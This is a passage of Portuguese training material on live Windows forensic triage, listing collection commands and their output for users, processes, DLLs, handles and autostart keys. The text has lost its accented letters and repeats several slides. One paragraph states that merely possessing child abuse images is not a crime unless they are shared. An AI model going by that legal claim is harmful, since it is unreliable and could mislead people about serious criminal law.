O prximo passo serve para identificar corretamente a mquina investigada. Muitas vezes, um incidente em uma empresa pode envolver uma mquina que no deveria fazer parte da rede. Por exemplo, se o invasor for um funcionrio que resolveu levar seu notebook ou computador pessoal para a sua empresa, nela no vai haver registro sobre a mquina. Precisamos descobrir como ela se identifica na rede, pois em ambiente Windows esse nome transmitido pela rede pelo protocolo NETBIOS e pode ser importante saber essa informao ao examinar os logs. A seguir, precisamos coletar informaes sobre os usurios da mquina, j que essa informao no mantida em um arquivo como o passwd no Linux. O primeiro passo identificar o usurio que est logado na mquina atualmente, medida necessria caso o investigador encontre a mquina logada ao chegar para a investigao inicial.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> psgetsid SID for \\COMPUTADOR: S-1-5-21-4042056708-2335835806-3410500470 D:\IR\xp> psgetsid Usuario SID for COMPUTADOR\Usuario: S-1-5-21-4042056708-2335835806-3410500470-1006

Uma informao importante sobre o usurio logado, que uma caracterstica do Windows, o chamado SID (Secure Identification). Este identificador um nmero nico que identifica o usurio ou a mquina na rede e normalmente utilizado em diversos recursos do sistema para indicar quem tem permisses para acessar tais recursos. Estes identificadores so importantes ao analisar diversas evidncias no Windows que tenham relao com permisses e segurana. Podemos determinar um usurio especfico para descobrir o SID.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> psloggedon Users logged on locally: Error: could not retrieve logon time NT AUTHORITY\LOCAL SERVICE Error: could not retrieve logon time NT AUTHORITY\NETWORK SERVICE 29/1/2008 14:40:10 COMPUTADOR\Usuario Error: could not retrieve logon time NT AUTHORITY\SYSTEM No one is logged on via resource shares.

Observamos no slide que alm das contas de sistema, somente o usurio que j vimos est conectado localmente no computador. Alm disso, o comando do slide indica conexes remotas atravs de compartilhamentos na mquina, o que pode ser uma informao importante se o incidente envolver roubos de propriedade intelectual ou pedofilia.

Neste ltimo caso, importante notar que se um usurio mantm arquivos de pornografia infantil em sua mquina, teoricamente no est cometendo crime, pois de acordo com o cdigo da criana e do adolescente, o crime consiste em transmitir ou tornar pblica a informao. Entretanto, se o computador onde esto armazenadas as fotos tiver um compartilhamento de diretrio, pode ser considerada a disponibilizao pblica, e consequentemente a caracterizao criminal.

Anlise forense avanada em Windows

Escola Superior de Redes RNP

138

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> logonsessions [2] Logon session User name: Auth package: Logon type: Session: Sid: 3410500470-1006 Logon time: Logon server: DNS Domain: UPN: 00000000:00018df7: COMPUTADOR\Usuario NTLM Interactive 0 S-1-5-21-4042056708-233583580629/1/2008 14:40:08 COMPUTADOR

O comando logonsessions.exe permite descobrir todas as sesses de login existentes e os usurios associados a elas. Vemos no slide um login de usurio no console. O comando tambm exibe logins:
\\Sem \\De

interatividade;

servios ou processos do sistema;

\\Remotos.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> net users User accounts for \\COMPUTADOR __vmware_user__ Administrator curso Guest Usuario SUPPORT_12312331 D:\IR\xp> userdump \\COMPUTADOR usuario Querying Controller \\COMPUTADOR Privs: Admin Privs OperatorPrivs: No explicit OP Privs Password age: Tue Jan 29 21:43:33 2008 LastLogon: Fri Jul 20 19:40:29 2007 LastLogoff: Thu Jan 01 00:00:00 1970 Acct Expires: Never

D:\IR\xp> net users8 User accounts for __vmware_user__ curso Usuario


ASPNET HelpAssistant

\\COMPUTADOR Administrator Guest SUPPORT_12312331

ASPNET HelpAssistant

D:\IR\xp> userdump \\COMPUTADOR usuario8 Querying Controller \\COMPUTADOR Privs: Admin Privs OperatorPrivs: No explicit OP Privs Password age: Tue Jan 29 21:43:33 2008 LastLogon: Fri Jul 20 19:40:29 2007 LastLogoff: Thu Jan 01 00:00:00 1970 Acct Expires: Never

O comando acima permite listar os usurios cadastrados na mquina. Este comando j foi visto na ltima sesso. O comando net.exe faz parte do pacote bsico do Windows, e tem diversos parmetros que podem ser usados para interagir com o sistema. Podemos usar a ferramenta UserDump.exe para coletar informaes sobre todos os usurios do sistema. Veja as informaes sobre o ltimo login do usurio e sobre a validade da senha, que podem ter importncia na investigao.

Anlise forense Sesso de aprendizagem 9

139

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> ntfsinfo c: Allocation Size ---------------Bytes per sector : Bytes per cluster : Bytes per MFT record : Clusters per MFT record: MFT Information --------------MFT size : MFT start cluster : MFT zone clusters : MFT zone size : MFT mirror start : Meta-Data files ---------------

D:\IR\xp> ntfsinfo c:8 Allocation Size ---------------Bytes per sector : 512 Bytes per cluster : 4096 Bytes per MFT record : 1024 Clusters per MFT record: 0 MFT Information --------------MFT size : 176 MB (0% of drive) MFT start cluster : 6 MFT zone clusters : 5656576 - 5676928 MFT zone size : 79 MB (0% of drive) MFT mirror start : 629425 Meta-Data files ---------------

512 4096 1024 0

176 MB (0% of drive) 6 5656576 - 5676928 79 MB (0% of drive) 629425

Uma informao que pode ser importante para a anlise posterior da imagem de disco pode ser conseguida com o comando ntfsinfo.exe, que permite extrair algumas informaes bsicas sobre o disco. Veja no slide informaes importantes sobre a estrutura de arquivos no disco especificado no comando: confira especialmente as informaes sobre o MFT.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> mem 655360 bytes total conventional memory 655360 bytes available to MS-DOS 598160 largest executable program size 1048576 bytes total contiguous extended memory 0 bytes available contiguous extended memory 941056 bytes available XMS memory MS-DOS resident in High Memory Area

D:\IR\xp> mem8 655360 655360 598160 1048576 0 941056 MS-DOS bytes total conventional memory bytes available to MS-DOS largest executable program size bytes total contiguous extended memory bytes available contiguous extended memory bytes available XMS memory resident in High Memory Area

O comando mem.exe fornece informaes sobre a memria do sistema.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> psinfo System information for \\COMPUTADOR: Uptime: 0 days 4 hours 56 minutes 29 seconds Kernel version: Microsoft Windows XP, Uniprocessor Free Product type: Professional Product version: 5.1 Service pack: 2 Kernel build number: 2600 Registered organization: Registered owner: Usuario Install date: 18/10/2005, 19:19:17 Activation status: Error reading status IE version: 7.0000 System root: C:\WINDOWS Physical memory: 1022 MB

D:\IR\xp> psinfo8 System information for \\COMPUTADOR: Uptime: 0 days 4 hours 56 minutes 29 seconds Kernel version: Microsoft Windows XP, Uniprocessor Free Product type: Professional Product version: 5.1 Service pack: 2 Kernel build number: 2600 Registered organization: Registered owner: Usuario Install date: 18/10/2005, 19:19:17 Activation status: Error reading status IE version: 7.0000 System root: C:\WINDOWS Physical memory: 1022 MB

Anlise forense avanada em Windows

Escola Superior de Redes RNP

140

Lembrando dos tipos de incidentes que normalmente acontecem em um sistema Windows, percebemos que grande parte deles pode acontecer em sistemas que no so atualizados constantemente. Por isso, importante descobrir se o sistema que estamos analisando est atualizado e devidamente autenticado. O comando psinfo.exe permite descobrir este tipo de informao. Temos no slide diversas informaes importantes, como a verso do Windows instalada, informaes sobre o registro e ativao do sistema, a durao do tempo em que o sistema est ligado, a verso do Internet Explorer, a data de instalao do Windows, a memria do sistema e informaes sobre o hardware. Observe que a informao sobre ativao nem sempre pode ser lida como vemos no comando acima. No exemplo, o comando foi executado em uma mquina devidamente ativada e autenticada.

Processos em execuo no sistema


D:\IR\xp> ps -a -W PID PPID PGID WINPID TTY 4 0 0 4 ? unknown *** 944 0 0 944 ? \SystemRoot\System32\smss.exe 1068 0 0 1068 ? \??\C:\WINDOWS\system32\winlogon.exe 1112 0 0 1112 ? C:\WINDOWS\system32\services.exe 1124 0 0 1124 ? C:\WINDOWS\system32\lsass.exe 1272 0 0 1272 ? C:\WINDOWS\system32\Ati2evxx.exe 1284 0 0 1284 ? C:\WINDOWS\system32\svchost.exe

Processos em execuo no sistema


D:\IR\xp> ps -a -W8 PID PPID PGID WINPID TTY UID STIME COMMAND 4 0 0 4 ? 0 16:24:48 *** unknown *** 944 0 0 944 ? 0 14:39:48 \SystemRoot\System32\smss. exe 1068 0 0 1068 ? 0 14:39:58 \??\C:\WINDOWS\system32\ winlogon.exe 1112 0 0 1112 ? 0 14:39:58 C:\WINDOWS\system32\serv ices.exe 1124 0 0 1124 ? 0 14:39:58 C:\WINDOWS\system32\lsas s.exe 1272 0 0 1272 ? 0 14:39:59 C:\WINDOWS\system32\Ati2 evxx.exe 1284 0 0 1284 ? 0 14:39:59 C:\WINDOWS\system32\svch ost.exe

UID STIME COMMAND 0 16:24:48 *** 0 14:39:48 0 14:39:58 0 14:39:58 0 14:39:58 0 14:39:59 0 14:39:59

Outra informao importante a coletar em um sistema invadido referente aos processos executados pelo sistema. Muitas vezes, possvel ainda encontrar em execuo o programa do vrus ou worm que invadiu a mquina, ou algum servidor executado por um invasor para prover acesso a material ilcito. Uma das caractersticas que consideramos imprescindveis em nossas ferramentas a capacidade de obterem o mesmo resultado sob as mesmas condies iniciais. Isto muito importante na lista de processos, pois diversos fatores podem influir no resultado das ferramentas, e muitos deles podem indicar um comprometimento maior do sistema. O comando ps.exe, disponvel no kit de ferramentas, permite listar os processos em execuo no sistema. Uma informao importante, que no dada pelo Gerenciador de Tarefas, por exemplo, o caminho completo do executvel. Esta informao importante quando for necessrio diferenciar entre o nome de um processo vlido do sistema, como por exemplo svchost.exe.
Anlise forense Sesso de aprendizagem 9

141

Processos em execuo no sistema


Necessidade de descobrir o caminho completo do executvel Programas maliciosos se disfaram como executveis vlidos Se voc observar os processos msmgs.exe ou scvhost.exe, vai identific-los como maliciosos? importante conhecer os processos mais comuns em sistemas Windows

Alguns vrus e ferramentas hacker utilizam este mesmo nome para confundir os usurios, j que o Gerenciador de Tarefas no diferencia um arquivo pelo nome completo. Quanto a isso, importante comentar que muitos vrus e ferramentas hacker utilizam esta tcnica para tentarem se passar despercebidos pelo usurio. Muitos vrus costumam utilizar os nomes scvhost.exe ou msmgs.exe. possvel perceber algum problema com estes processos?

Por conta disso, importante o investigador conhecer bem os processos comuns do Windows. A correta identificao de um processo vlido pode depender de alguns fatores, como conhecimento prvio sobre servios oferecidos no sistema, servios bsicos da plataforma Windows e conhecimentos sobre processos que podem ser inseridos no sistema por aplicaes vlidas. O principal problema diferenciar entre o processo legtimo svchost.exe e o processo falso scvhost.exe.

Processos em execuo no sistema


Processo Alg.exe csrss.exe explorer.exe internet.exe lsass.exe mstask.exe smss.exe spoolsv.exe svchost.exe Descrio Application Layer Gateway Service, servio relacionado com o firewall do Windows. client/server run-time subsystem Interface do usurio. Executado na inicializao, permite a troca de configurao do teclado e aparece como cone no System Tray. Local security authentication server Task scheduler service Session manager subsystem, responsvel por iniciar a sesso do usurio. Spooler service, responsvel pela fila de impresso. Generic Service Process, atua como host para outros processos executados por dlls; normalmente existe em mais de uma instncia. utilizado tambm para executar servios de rede. Services Control Manager, responsvel por iniciar e terminar servios do sistema. System kernel-mode threads Processo que contabiliza o processamento disponvel no sistema, normalmente ocupando a maioria do processamento disponvel (99%). Gerenciador de tarefas Responsvel pelo processo de login/logout do usurio. Pode ser terminado pelo Gerenciador de tarefas? Sim No Sim Sim No No No No No

\\Alg.exe

Application Layer Gateway Service, servio relacionado com o firewall do Windows (pode ser terminado pelo Gerenciador de tarefas). client/server run-time subsystem (no pode ser terminado pelo Gerenciador de tarefas). Interface do usurio (pode ser terminado pelo Gerenciador de tarefas). Executado na inicializao, permite a troca de configurao do teclado e aparece como cone no System Tray (pode ser terminado pelo Gerenciador de tarefas). Local security authentication server (no pode ser terminado pelo Gerenciador de tarefas).

\\csrss.exe

\\explorer.exe

services.exe system system idle process taskmgr.exe winlogon.exe

No No No Sim No

\\internet.exe

\\lsass.exe

\\mstask.exe

Task scheduler service (no pode ser terminado pelo Gerenciador

de tarefas).
\\smss.exe

Session manager subsystem, responsvel por iniciar a sesso do usurio (no pode ser terminado pelo Gerenciador de tarefas). Spooler service, responsvel pela fila de impresso (no pode ser terminado pelo Gerenciador de tarefas). Generic Service Process, atua como host para outros processos executados por dlls; normalmente existe em mais de uma instncia. utilizado tambm para executar servios de rede (no pode ser terminado pelo Gerenciador de tarefas). Services Control Manager, responsvel por iniciar e terminar servios do sistema (no pode ser terminado pelo Gerenciador de tarefas).

\\spoolsv.exe

\\svchost.exe

\\services.exe

Anlise forense avanada em Windows

Escola Superior de Redes RNP


\\System

142

System kernel-mode threads (no pode ser terminado pelo Gerenciador de tarefas). idle process Processo que contabiliza o processamento disponvel no sistema, normalmente ocupando a maioria do processamento disponvel (99%) (no pode ser terminado pelo Gerenciador de tarefas). Gerenciador de tarefas (pode ser terminado pelo Gerenciador de tarefas).

\\system

\\taskmgr.exe

\\winlogon.exe

Responsvel pelo processo de login/logout do usurio (no pode ser terminado pelo Gerenciador de tarefas).

O site processlibrary.com permite pesquisar um nome de arquivo e saber se ele usado por algum vrus.

Processos em execuo no sistema


D:\IR\xp> pslist Process information for COMPUTADOR: Name Pid Pri Thd Hnd Idle 0 0 1 0 System 4 8 68 645 smss 944 11 3 21 csrss 1040 13 13 747 winlogon 1068 13 22 448 services 1112 9 15 337 lsass 1124 9 21 461 ati2evxx 1272 8 5 71 svchost 1284 8 18 220 ...

D:\IR\xp> pslist8 Process information for COMPUTADOR: Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time Idle 0 0 1 0 0 5:22:42.671 0:00:00.000 System 4 8 68 645 0 0:01:50.234 0:00:00.000 smss 944 11 3 21 168 0:00:00.015 6:18:01.531 csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000 winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234 services 1112 9 15 337 1996 0:00:10.515 6:17:52.046 lsass 1124 9 21 461 5868 0:00:05.187 6:17:52.031 ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218 svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203 ...

Priv 0 0 168 2004 6388 1996 5868 796 3384

CPU Time 5:22:42.671 0:01:50.234 0:00:00.015 0:00:53.640 0:00:00.937 0:00:10.515 0:00:05.187 0:00:00.343 0:00:00.203

Elapsed Time 0:00:00.000 0:00:00.000 6:18:01.531 6:17:55.000 6:17:52.234 6:17:52.046 6:17:52.031 6:17:51.218 6:17:51.203

Este comando tem diversos parmetros interessantes para listar a utilizao de memria de cada processo ou os threads que cada um mantm. Vale a pena estudar melhor este comando.
Anlise forense Sesso de aprendizagem 9

143

Processos em execuo no sistema


D:\IR\xp> ..\diamondcs\cmdline.exe DiamondCS Commandline Retrieval Tool for Windows NT4/2K/XP 944 - \SystemRoot\System32\smss.exe <Error> Unable to read memory from PID 944 1040 - \??\C:\WINDOWS\system32\csrss.exe C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16 1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogon.exe 1112 - C:\WINDOWS\system32\services.exe C:\WINDOWS\system32\services.exe 1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\lsass.exe 1272 - C:\WINDOWS\system32\Ati2evxx.exe

D:\IR\xp> ..\diamondcs\cmdline.exe8 DiamondCS Commandline Retrieval Tool for Windows NT 4/2K/XP 944 - \SystemRoot\System32\smss.exe <Error> Unable t o read memory from PID 944 1040 - \??\C:\WINDOWS\system32\csrss.exe C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Wind ows SharedSection=1024,3072,512 Windows=On SubSyste mType=Windows ServerDll=basesrv,1 ServerDll=winsrv: UserServerDllInitialization,3 ServerDll=winsrv:ConS erverDllInitialization,2 ProfileControl=Off MaxReque stThreads=16 1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogo n.exe 1112 - C:\WINDOWS\system32\services.exe C:\WINDOWS\ system32\services.exe 1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\sys tem32\lsass.exe 1272 - C:\WINDOWS\system32\Ati2evxx.exe

Uma caracterstica desta ferramenta mostrar os parmetros passados na linha de comando de cada processo. Uma caracterstica importante desta ferramenta a possibilidade de visualizar diversas propriedades importantes sobre cada processo, incluindo threads, conexes TCP/IP abertas pelo processo, informaes de desempenho, strings dentro do executvel, entre outras informaes.

Anlise forense avanada em Windows

Escola Superior de Redes RNP

144

Processos em execuo no sistema


necessrio comparar diversas ferramentas, pois alguns programas maliciosos escondem informaes do Windows Rootkits usam essa tcnica Inconsistncias entre duas ferramentas podem ser a indicao de um rootkit sempre til ter disponvel uma ferramenta anti-rootkit

Vimos at agora uma srie de ferramentas diferentes para listagem de processos ativos, e a importncia de comparar o resultado destas ferramentas para identificar incoerncias e possveis comprometimentos. A razo disso que em muitos casos, os vrus e ferramentas hacker utilizam tecnologias de rootkit para esconder informaes do usurio e do sistema operacional.

Ao realizar a anlise forense em uma imagem de um disco Windows, possvel encontrar informaes que poderiam estar escondidas pelo rootkit, mas no caso de processos necessrio verificar essa informao na mquina on-line. Portanto, importante o investigador ter sempre disponvel uma boa ferramenta anti-rootkit. No kit de ferramentas encontramos o Rootkit Revealer. Este programa examina a mquina e procura por inconsistncias na forma como o Windows reporta informaes sobre processos e arquivos, utilizando diversas tcnicas. Muitas vezes, isto suficiente para identificar a presena de um rootkit. No exemplo do slide, observamos diversas inconsistncias detectadas pelo programa. A maioria delas representada por falsos positivos, mas repare nas ltimas 4 linhas do log: elas mostram chaves de registro escondidas da API do Windows por alguma ferramenta, o que pode indicar a presena do rootkit. No caso abaixo, no entanto, so mostradas as chaves de registro referentes ao programa Daemon Tools, um simulador de drive de CD utilizado para montar imagens de CD como se fossem drives. Esta ferramenta usa tecnologias rootkit para realizar estas operaes, mas no maliciosa.

Anlise forense Sesso de aprendizagem 9

145

Bibliotecas do sistema
Windows utiliza bibliotecas compartilhadas, conhecidas como Dinamic Link Library (DLL) Normalmente ficam armazenadas no diretrio C:\WINDOWS\SYSTEM32 Pode ser um problema quando bibliotecas comprometidas so utilizadas para modificar a forma de funcionamento de um processo, comprometendo o sistema Um exemplo desse tipo de ataque a injeo de cdigo no Internet Explorer, atravs da explorao de alguma falha do programa

Bibliotecas do sistema
Windows utiliza bibliotecas compartilhadas, conhecidas como Dinamic Link Library (DLL). Elas normalmente ficam armazenadas no diretrio C:\WINDOWS\ SYSTEM32, mas os processos podem retir-las do diretrio corrente se elas estiverem nele.

Pode ser um problema quando bibliotecas comprometidas so utilizadas para modificar a forma de funcionamento de um processo, comprometendo o sistema. Um exemplo desse tipo de ataque a injeo de cdigo no Internet Explorer, atravs da explorao de alguma falha do programa. Com isso, o hacker consegue comprometer o sistema sem modificar ou executar nenhum binrio estranho.
D:\IR\xp> listdlls wordpad8 wordpad.exe pid: 676 Command line: C:\Program Files\Windows NT\Accessor ies\wordpad.exe Base Size Version Path 0x01000000 0x37000 5.01.2600.2180 C:\Program Files\ Windows NT\Accessories\wordpad.exe 0x7c900000 0xb0000 5.01.2600.2180 C:\WINDOWS\system 32\ntdll.dll 0x7c800000 0xf5000 5.01.2600.3119 C:\WINDOWS\system 32\kernel32.dll 0x5f800000 0xf2000 6.02.8071.0000 C:\WINDOWS\system 32\MFC42u.DLL 0x77c10000 0x58000 7.00.2600.2180 C:\WINDOWS\system 32\msvcrt.dll 0x77f10000 0x47000 5.01.2600.3159 C:\WINDOWS\system 32\GDI32.dll 0x7e410000 0x90000 5.01.2600.3099 C:\WINDOWS\system 32\USER32.dll

Bibliotecas do sistema
D:\IR\xp> listdlls wordpad wordpad.exe pid: 676 Command line: "C:\Program Files\Windows NT\Accessories\wordpad.exe" Base Size Version Path 0x01000000 0x37000 5.01.2600.2180 C:\Program Files\Windows NT\Accessories\wordpad.exe 0x7c900000 0xb0000 5.01.2600.2180 C:\WINDOWS\system32\ntdll.dll 0x7c800000 0xf5000 5.01.2600.3119 C:\WINDOWS\system32\kernel32.dll 0x5f800000 0xf2000 6.02.8071.0000 C:\WINDOWS\system32\MFC42u.DLL 0x77c10000 0x58000 7.00.2600.2180 C:\WINDOWS\system32\msvcrt.dll 0x77f10000 0x47000 5.01.2600.3159 C:\WINDOWS\system32\GDI32.dll 0x7e410000 0x90000 5.01.2600.3099 C:\WINDOWS\system32\USER32.dll

Se no for especificado um nome de processo, ele simplesmente lista todas as DLLs de todos os processos em execuo. Portanto, esta pode ser tambm uma boa ferramenta para listar processos em execuo.

Bibliotecas do sistema
D:\IR\xp> ..\winfingerprint\procinterrogate -pid 676 ProcInterrogate Version 0.0.1 by Kirby Kuehl vacuum@users.sourceforge.net wordpad.exe (Process ID: 676) Entry Point Base Size Module 0x01019B4D 0x01000000 00037000 C:\Program Files\Windows NT\Accessories\wordpad.exe 0x7C913156 0x7C900000 000B0000 C:\WINDOWS\system32\ntdll.dll 0x7C80B5AE 0x7C800000 000F5000 C:\WINDOWS\system32\kernel32.dll 0x5F806A61 0x5F800000 000F2000 C:\WINDOWS\system32\MFC42u.DLL 0x77C1F2A1 0x77C10000 00058000 C:\WINDOWS\system32\msvcrt.dll 0x77F16597 0x77F10000 00047000 C:\WINDOWS\system32\GDI32.dll 0x7E42E966 0x7E410000 00090000 C:\WINDOWS\system32\USER32.dll 0x77DD70D4 0x77DD0000 0009B000 C:\WINDOWS\system32\ADVAPI32.dll

D:\IR\xp> ..\winfingerprint\procinterrogate -pid 6768 ProcInterrogate Version 0.0.1 by Kirby Kuehl vacuum @users.sourceforge.net wordpad.exe (Process ID: 676) Entry Point Base Size Module 0x01019B4D 0x01000000 00037000 C:\Program Files\Wi ndows NT\Accessories\wordpad.exe 0x7C913156 0x7C900000 000B0000 C:\WINDOWS\system32 \ntdll.dll 0x7C80B5AE 0x7C800000 000F5000 C:\WINDOWS\system32 \kernel32.dll 0x5F806A61 0x5F800000 000F2000 C:\WINDOWS\system32 \MFC42u.DLL 0x77C1F2A1 0x77C10000 00058000 C:\WINDOWS\system32 \msvcrt.dll 0x77F16597 0x77F10000 00047000 C:\WINDOWS\system32 \GDI32.dll

Anlise forense avanada em Windows

Escola Superior de Redes RNP


0x7E42E966 0x77DD70D4 0x7E410000 00090000 C:\WINDOWS\system32\USER32.dll 0x77DD0000 0009B000 C:\WINDOWS\system32\ADVAPI32.dll

146

Uma coisa que o investigador deve estar atento ao examinar estes comandos so bibliotecas localizadas em local que no seja padro no sistema. Outra indicao de que o sistema pode ter sido comprometido a presena de bibliotecas com o mesmo nome do sistema, mas com verses diferentes das outras bibliotecas padro. Alm destas ferramentas, existe uma ferramenta grfica no kit de ferramentas que permite listar as DLLs que so automaticamente injetadas em todos os processos executados. Esta ferramenta chama-se InjectedDLL.exe Podemos inclusive listar mais informaes sobre uma DLL clicando duas vezes sobre ela, como no exemplo abaixo.

Anlise forense Sesso de aprendizagem 9

147

Informaes sobre arquivos abertos


Arquivos abertos
D:\IR\xp> handle -a -u wordpad csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 730: wordpad.exe(676): 1684 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 8A0: wordpad.exe(676): 3428 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM AD0: wordpad.exe(676) lsass.exe pid: 1124 NT AUTHORITY\SYSTEM 69C: wordpad.exe(676) svchost.exe pid: 1576 NT AUTHORITY\SYSTEM 1390: wordpad.exe(676) cmdagent.exe pid: 380 NT AUTHORITY\SYSTEM 4DC: wordpad.exe(676) wordpad.exe pid: 676 COMPUTADOR\Usuario 60: HKCU\Software\Microsoft\Windows\ CurrentVersion\Applets\Wordpad wordpad.exe pid: 676 COMPUTADOR\Usuario 84: wordpad.exe(676): 2812 wordpad.exe pid: 676 COMPUTADOR\Usuario 14C: wordpad.exe(676): 1684 wordpad.exe pid: 676 COMPUTADOR\usuario 168: wordpad.exe(676): 3428

Informaes sobre arquivos abertos


D:\IR\xp> handle -a -u wordpad8 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 730: wordpa d.exe(676): 1684 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 8A0: wordpa d.exe(676): 3428 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM AD0: wordpa d.exe(676) lsass.exe pid: 1124 NT AUTHORITY\SYSTEM 69C: wordpa d.exe(676) svchost.exe pid: 1576 NT AUTHORITY\SYSTEM 1390: wor dpad.exe(676) cmdagent.exe pid: 380 NT AUTHORITY\SYSTEM 4DC: word pad.exe(676) wordpad.exe pid: 676 COMPUTADOR\Usuario 60: HKCU\So ftware\Microsoft\Windows\ CurrentVersion\Applets\Wo rdpad wordpad.exe pid: 676 COMPUTADOR\Usuario 84:wordpad. exe(676): 2812 wordpad.exe pid: 676 COMPUTADOR\Usuario 14C: wordpa d.exe(676): 1684 wordpad.exe pid: 676 COMPUTADOR\usuario 168: wordpa d.exe(676): 3428

Outra informao importante sobre os processos, alm das bibliotecas que eles utilizam, relativa aos arquivos que eles mantm abertos. Um processo desconhecido pode manter arquivos de logs, pipes e outros tipos de arquivos abertos durante a execuo. importante tentar recuperar essa informao, pois isso pode facilitar o trabalho de investigao posterior. Podemos ver no slide todos os arquivos abertos e os processos que controlam, alm de chaves de registro e do usurio que iniciou o processo.

Anlise forense avanada em Windows

Escola Superior de Redes RNP

148

Outra ferramenta til para ver arquivos abertos em tempo real a Filemon. Com ela, podemos ver inclusive os acessos aos arquivos especiais do MFT, indicando leituras ou escritas na tabela de partio.

Servios em execuo
Servios so programas iniciados pelo sistema operacional Funes: Oferecer algum tipo de servio aos usurios Controlar algum tipo de acesso aos dispositivos conectados Por exemplo, o compartilhamento de arquivos em rede controlado pelo servio Servidor e as conexes com uma cmera digital ou celular so feitas pelos respectivos servios instalados pelos drivers de dispositivo

Servios em execuo
Podemos utilizar a prpria ferramenta do Windows para listar os servios iniciados. O problema desta ferramenta que ela no lista mais nenhuma informao sobre os servios, e isto pode no ser suficiente para identificar um possvel servio falso instalado por um invasor.

Servios em execuo
D:\IR\xp> net start These Windows services are started: Ad-Aware 2007 Service Adobe LM Service Application Layer Gateway Service Ati HotKey Poller Automatic Updates avast! Antivirus avast! iAVS4 Control Service Background Intelligent Transfer Service

Servios em execuo
D:\IR\xp> servicelist \\COMPUTADOR ServiceList v1.0 Copyright 1999 www.NetLatency.com Service Name Stats Alerter Display Name: Alerter State: Stopped Type: Windows Shared Process Controls: UNKNOWN #0 ALG Display Name: Application Layer Gateway Service State: Running Type: Windows Own Process Controls: START STOP aswUpdSv Display Name: avast! iAVS4 Control Service State: Running Type: Windows Own Process Desktop Interactive Process Controls: START STOP SYSTEM SHUTDOWN

Podemos ver no slide os servios e comandos aceitos por COMPUTADOR. possvel controlar o estado de um servio com um dos comandos abaixo:
\\net \\net

start <servio> stop <servio>

Anlise forense Sesso de aprendizagem 9

149

Servios em execuo
D:\IR\xp> psservice /? PsService lists or controls services on a local or remote system. Usage: psservice [\\Computer [-u Username [-p Password]]] <cmd> <optns> Cmd is one of the following: query Queries the status of a service config Queries the configuration setconfig Sets the configuration start Starts a service stop Stops a service restart Stops and then restarts a service pause Pauses a service cont Continues a paused service depend Enumerates the services that depend on the one specified find Searches for an instance of a service on the network security Reports the security permissions assigned to a service

O psservice permite um controle muito maior sobre os servios, como mostra a ajuda do comando mostrada no slide.

Servios em execuo
Inicializao do sistema Diversas configuraes do Windows permitem iniciar programas junto com o sistema O registro um conjunto de configuraes do sistema Alguns programas podem ser iniciados antes de qualquer antivrus ou firewall

Alm dos servios iniciados pelo sistema, o Windows ainda permite a execuo automtica de programas durante a sua inicializao. Para isso, existem diversas configuraes possveis do sistema que permitem configurar um programa para iniciar automaticamente. Alm do arquivo Autoexec.bat, que era utilizado desde a poca do MS-DOS para iniciar programas, o Windows permite a utilizao de algumas chaves de registro para essa finalidade. O registro um conjunto de configuraes do sistema. Vimos anteriormente uma ferramenta que permite fazer consultas ao registro: reg.exe.
D:\IR\xp> reg query HKLM\Software\Microsoft\Windows \CurrentVersion\Run8 Listing of [Software\Microsoft\Windows\CurrentVersi on\\Run] REG_SZ SynTPLpr C:\Program Files\Synaptics\SynTP\Sy nTPLpr.exe REG_SZ SynTPEnh C:\Program Files\Synaptics\SynTP\Sy nTPEnh.exe REG_SZ eabconfg.cpl C:\Program Files\HPQ\Quick Laun ch Buttons\EabServr.exe /Start REG_SZ DAEMON Tools-1033 C:\Program Files\D-Tools\ daemon.exe -lang 1033 REG_SZ Broadcom Wireless Manager UI C:\WINDOWS\syst em32\bcmntray REG_SZ Windows Defender C:\Program Files\Windows D efender\MSASCui.exe -hide REG_SZ COMODO Firewall Pro C:\Program Files\Comodo \Firewall\CPF.exe /background REG_SZ avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe

Servios em execuo
D:\IR\xp> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run Listing of [Software\Microsoft\Windows\CurrentVersion\\Run] REG_SZ SynTPLpr C:\Program Files\Synaptics\SynTP\SynTPLpr.exe REG_SZ SynTPEnh C:\Program Files\Synaptics\SynTP\SynTPEnh.exe REG_SZ eabconfg.cpl C:\Program Files\HPQ\Quick Launch Buttons\EabServr.exe /Start REG_SZ DAEMON Tools-1033 "C:\Program Files\DTools\daemon.exe" -lang 1033 REG_SZ Broadcom Wireless Manager UI C:\WINDOWS\system32\bcmntray REG_SZ Windows Defender "C:\Program Files\Windows Defender\MSASCui.exe" -hide REG_SZ COMODO Firewall Pro "C:\Program Files\Comodo\Firewall\CPF.exe" /background REG_SZ avast! C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe

Uma das chaves do registro que permitem a execuo de processos na inicializao do sistema a chave HKLM\Software\Microsoft\Windows\CurrentVersion\ Run. Podemos descobrir quais programas so iniciados automaticamente com o comando expresso no slide.
Anlise forense avanada em Windows

Escola Superior de Redes RNP


No exemplo temos diversos processos configurados para iniciar juntamente com o sistema.

150

Servios em execuo
